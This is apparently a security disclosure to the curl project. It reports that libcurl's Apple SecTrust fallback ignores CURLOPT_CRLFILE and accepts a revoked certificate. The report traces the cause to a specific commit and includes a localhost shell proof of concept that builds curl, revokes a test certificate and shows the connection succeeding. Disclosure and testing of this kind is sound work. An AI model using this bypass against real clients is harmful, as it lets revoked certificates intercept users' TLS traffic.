curl · Report #3993850
Apple SecTrust fallback ignores CURLOPT_CRLFILE, letting a revoked cert pass
How it was found
When libcurl is built with USE_APPLE_SECTRUST and the native (Apple) trust store is in use, a certificate that OpenSSL/GnuTLS rejects because it is on the operator's CURLOPT_CRLFILE list is re-checked by Apple's SecTrust API instead, and SecTrust is never told about that CRL file at all.
The bug
CURLOPT_CRLFILE is loaded into OpenSSL's X509_STORE and revocation checking is turned on for it:
// lib/vtls/openssl.c:3108-3118
if(ssl_crlfile) {
/* tell OpenSSL where to find CRL file that is used to check certificate
* revocation */
lookup = X509_STORE_add_lookup(store, X509_LOOKUP_file());
if(!lookup ||
(!X509_load_crl_file(lookup, ssl_crlfile, X509_FILETYPE_PEM))) {
failf(data, "error loading CRL file: %s", ssl_crlfile);
return CURLE_SSL_CRL_BADFILE;
}
x509flags = X509_V_FLAG_CRL_CHECK | X509_V_FLAG_CRL_CHECK_ALL;
infof(data, " CRLfile: %s", ssl_crlfile);
}
But CURLOPT_CRLFILE has no effect on native_ca_store — only a custom CA path/file/blob does:
// lib/vtls/vtls_config.c:258-261
#if defined(USE_APPLE_SECTRUST) || defined(CURL_CA_NATIVE)
if(!sslc->custom_capath && !sslc->custom_cafile && !sslc->custom_cablob)
sslc->primary.native_ca_store = TRUE;
#endif
So an app that sets only CURLOPT_CRLFILE (no custom CA) keeps native_ca_store == TRUE, the default on Apple builds. Whenever OpenSSL's verification fails for any reason — including X509_V_ERR_CERT_REVOKED/CRL rejection — the code unconditionally falls back to Apple SecTrust:
// lib/vtls/openssl.c:4813
if(!verified && conn_config->verifypeer && conn_config->native_ca_store) {
/* we verify using Apple SecTrust *unless* OpenSSL already verified.
* This may happen if the application intercepted the OpenSSL callback
* and installed its own. */
result = ossl_apple_verify(cf, data, octx, peer);
ossl_apple_verify calls Curl_vtls_apple_verify, which builds a SecTrustRef from the peer's chain and a revocation policy driven only by ssl_config->no_revoke — never conn_config->CRLfile:
// lib/vtls/apple.c:131
if(!ssl_config->no_revoke) {
if(__builtin_available(macOS 10.9, iOS 7, tvOS 9, watchOS 2, *)) {
CFOptionFlags revocation_flags = kSecRevocationUseAnyAvailableMethod;
...
policy = SecPolicyCreateRevocation(revocation_flags);
// lib/vtls/apple.c:234
result = SecTrustEvaluateWithError(trust, &error) ?
CURLE_OK : CURLE_PEER_FAILED_VERIFICATION;
CRLfile (or anything derived from it) does not appear anywhere in apple.c. If a certificate is on the operator's private CRL but trustd's own revocation data doesn't independently know about it (private/internal PKI, propagation lag, offline check), SecTrustEvaluateWithError returns success, sectrust_verified is set, and the connection proceeds — silently overriding the CRL rejection the operator explicitly asked for.
The same pattern exists in the GnuTLS backend (lib/vtls/gtls.c:1607, if(!verified && config->native_ca_store) calling Curl_vtls_apple_verify with no CRLfile check either), so this isn't OpenSSL-specific.
PoC
#!/bin/sh
# PoC: curl's Apple SecTrust fallback ignores CURLOPT_CRLFILE.
#
# When curl is built with USE_APPLE_SECTRUST and the native (system) CA store
# is in use (the default whenever no custom --cacert/--capath is given), a
# certificate that OpenSSL rejects for ANY reason -- including because it's
# on the operator's CURLOPT_CRLFILE list -- gets silently re-checked by
# Apple's SecTrustEvaluateWithError instead. SecTrust performs its own,
# independent revocation checking and is never told about the CRL file, so
# a certificate the operator explicitly revoked is accepted anyway.
#
# This script builds a minimal curl with USE_APPLE_SECTRUST, issues a
# throwaway CA + leaf cert, revokes the leaf via a CRL, serves it over TLS
# on localhost, and shows that `curl --crlfile revoked.crl` connects
# successfully despite the revocation.
#
# Requires: macOS with Xcode CLT, cmake, and an OpenSSL dev install
# (e.g. `brew install openssl@3`). Run as your normal user -- no sudo.
#
# Safe to re-run: everything happens in a throwaway work dir, the test CA
# is removed from your keychain in the cleanup trap, and the whole thing
# is a no-op on any system it can't build/run on.
set -eu
WORK="$(mktemp -d /tmp/apple-sectrust-poc.XXXXXX)"
PORT="${PORT:-8443}"
CURL_SRC="${CURL_SRC:-}"
OPENSSL_BIN="$(command -v openssl || true)"
for p in /opt/homebrew/opt/openssl@3 /usr/local/opt/openssl@3; do
[ -x "$p/bin/openssl" ] && OPENSSL_BIN="$p/bin/openssl" && OPENSSL_PREFIX="$p"
done
: "${OPENSSL_PREFIX:?set OPENSSL_PREFIX to your OpenSSL install (e.g. \$(brew --prefix openssl@3))}"
SERVER_PID=""
cleanup() {
[ -n "$SERVER_PID" ] && kill "$SERVER_PID" 2>/dev/null || true
security remove-trusted-cert "$WORK/ca.pem" 2>/dev/null || true
security delete-certificate -c "VF PoC Test Root CA" login.keychain-db 2>/dev/null || true
}
trap cleanup EXIT INT TERM
echo "== work dir: $WORK =="
# --- 1. get + build a curl with USE_APPLE_SECTRUST -------------------------
if [ -z "$CURL_SRC" ]; then
echo "== cloning curl =="
git clone --depth 1 https://github.com/curl/curl.git "$WORK/curl-src"
CURL_SRC="$WORK/curl-src"
fi
echo "== configuring + building curl (USE_APPLE_SECTRUST=ON) =="
cmake -S "$CURL_SRC" -B "$WORK/build" \
-DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=ON \
-DCURL_USE_OPENSSL=ON -DOPENSSL_ROOT_DIR="$OPENSSL_PREFIX" \
-DUSE_APPLE_SECTRUST=ON -DBUILD_TESTING=OFF \
-DCMAKE_INSTALL_PREFIX="$WORK/install" >"$WORK/cmake.log" 2>&1
grep -q AppleSecTrust "$WORK/cmake.log" || { echo "FAIL: AppleSecTrust not enabled, see $WORK/cmake.log"; exit 1; }
cmake --build "$WORK/build" --target curl -j 8 >"$WORK/build.log" 2>&1
CURL_BIN="$WORK/build/src/curl"
export DYLD_LIBRARY_PATH="$WORK/build/lib"
# --- 2. throwaway CA + a leaf cert for localhost, then revoke the leaf -----
echo "== generating throwaway CA + revoked leaf cert =="
cd "$WORK"
"$OPENSSL_BIN" genrsa -out ca.key 2048 2>/dev/null
"$OPENSSL_BIN" req -x509 -new -key ca.key -days 3650 -out ca.pem \
-subj "/CN=VF PoC Test Root CA" \
-addext "basicConstraints=critical,CA:TRUE" \
-addext "keyUsage=critical,keyCertSign,cRLSign"
"$OPENSSL_BIN" genrsa -out leaf.key 2048 2>/dev/null
"$OPENSSL_BIN" req -new -key leaf.key -out leaf.csr -subj "/CN=localhost"
touch index.txt; echo 1000 >serial; echo 01 >crlnumber
cat >ca_db.cnf <<EOF
[ca]
default_ca = myca
[myca]
dir = $WORK
database = \$dir/index.txt
new_certs_dir = \$dir
certificate = \$dir/ca.pem
private_key = \$dir/ca.key
serial = \$dir/serial
crlnumber = \$dir/crlnumber
default_md = sha256
default_days = 90
default_crl_days = 30
policy = policy_any
copy_extensions = none
[policy_any]
commonName = supplied
EOF
# validity <= 398 days and SAN/AKI/SKI are required or Apple SecTrust
# rejects the cert as "not standards compliant" before the bug is even reached
cat >leaf_ext.cnf <<EOF
basicConstraints = CA:FALSE
keyUsage = digitalSignature,keyEncipherment
extendedKeyUsage = serverAuth
subjectAltName = DNS:localhost,IP:127.0.0.1
authorityKeyIdentifier = keyid:always
subjectKeyIdentifier = hash
EOF
"$OPENSSL_BIN" ca -batch -config ca_db.cnf -days 90 -in leaf.csr -out leaf.pem \
-extfile leaf_ext.cnf >"$WORK/ca-issue.log" 2>&1
"$OPENSSL_BIN" ca -batch -config ca_db.cnf -revoke leaf.pem >"$WORK/ca-revoke.log" 2>&1
"$OPENSSL_BIN" ca -batch -config ca_db.cnf -gencrl -out revoked.crl >"$WORK/ca-crl.log" 2>&1
cat leaf.pem ca.pem >leaf_chain.pem
echo "== leaf serial (must match the CRL entry below) =="
"$OPENSSL_BIN" x509 -in leaf.pem -noout -serial
"$OPENSSL_BIN" crl -in revoked.crl -noout -text | grep -A1 "Revoked Certificates"
# --- 3. trust the throwaway CA, as a real deployed corporate/MDM root would -
echo "== adding throwaway CA to this user's trust settings (removed on exit) =="
security add-trusted-cert -r trustRoot -k login.keychain-db ca.pem
# --- 4. serve the revoked cert over TLS on localhost ------------------------
"$OPENSSL_BIN" s_server -accept "$PORT" -cert leaf_chain.pem -key leaf.key -www \
>"$WORK/s_server.log" 2>&1 &
SERVER_PID=$!
sleep 1
# --- 5. the actual test: does curl honor --crlfile? -------------------------
echo
echo "== running curl against the revoked cert, with --crlfile set =="
echo " (expected secure behavior: REJECTED; actual: see below)"
echo
set +e
"$CURL_BIN" -sS -v --crlfile revoked.crl "https://localhost:$PORT/" >"$WORK/result.log" 2>&1
RC=$?
set -e
grep -E "SSL Trust Anchors|Native:|CRLfile:|OpenSSL verify result|SSL certificate verified|verify result|^< HTTP" "$WORK/result.log" || true
echo
if [ "$RC" -eq 0 ]; then
echo "BUG CONFIRMED: curl (exit 0) connected successfully to a certificate"
echo "explicitly listed as revoked in --crlfile. Apple SecTrust fallback"
echo "silently overrode the CRL check."
else
echo "curl exited $RC (rejected) -- bug not reproduced on this build/OS."
fi
echo
echo "full transcript: $WORK/result.log"
The PoC clones&builds curl with USE_APPLE_SECTRUST, mints a throwaway CA + a revoked leaf cert + a CRL naming it, trusts the CA the way a real MDM-deployed corporate root would be, serves the revoked cert over local TLS, then runs curl --crlfile revoked.crl https://localhost:PORT/ and checks the exit code.
* SSL Trust Anchors:
* Native: Apple SecTrust
* CRLfile: revoked.crl
* OpenSSL verify result: 14
* SSL certificate verified via Apple SecTrust.
< HTTP/1.0 200 ok
So despite it being revoked, the connection still succeeds.
Where it came from
The fallback originally only triggered on one specific OpenSSL error code, which excluded CRL rejections:
// as introduced, lib/vtls/openssl.c (eefd03c5)
if(!verified &&
conn_config->verifypeer && ssl_config->native_ca_store &&
(ossl_verify == X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY)) {
That restriction was removed in 6aa8fa3fdfdb1a0d4d022cc04e478f13e2b6b880 — "apple-sectrust: always ask when native_ca_store is in use" (2025-11-21), which widened the OpenSSL and GnuTLS fallbacks to fire on any verification failure:
When OpenSSL fails to verify the peer certificate, we checked for one specific reason code and did not ask Apple SecTrust for any other failure. Always ask Apple SecTrust after OpenSSL fails when the
native_ca_storeis enabled. If the user configures a CAfile or CApath, the native store is disabled, so this does not affect use cases where users asks curl to use a specific set of trust anchors.
That reasoning covers CAfile/CApath but never considers CRLfile — a separate revocation input, not a trust anchor — so removing the error-code check silently pulled CRL-based rejections into the same catch-all fallback. The bug is about 9.5 months old and is still present at current main (38703fe2, 2026-09-02).
Suggested direction
Skip the Apple SecTrust fallback (or make it fail closed) when conn_config->CRLfile is set — CURLOPT_CRLFILE is a request for a revocation check that SecTrust doesn't perform, so falling back there defeats the option's purpose. At minimum, restore the narrower error-code condition for the CRL-check case specifically.
Cheers, Josh
Impact
Any TLS server the client connects to can present a certificate that the operator has explicitly revoked via CURLOPT_CRLFILE, and still complete the handshake, as long as libcurl was built with USE_APPLE_SECTRUST, no custom CA option is set (native store stays default-on), and Apple's own revocation checking doesn't flag the same cert. This defeats a revocation control the caller went out of their way to configure — the whole point of CURLOPT_CRLFILE is to reject certs the built-in trust/revocation logic wouldn't otherwise catch.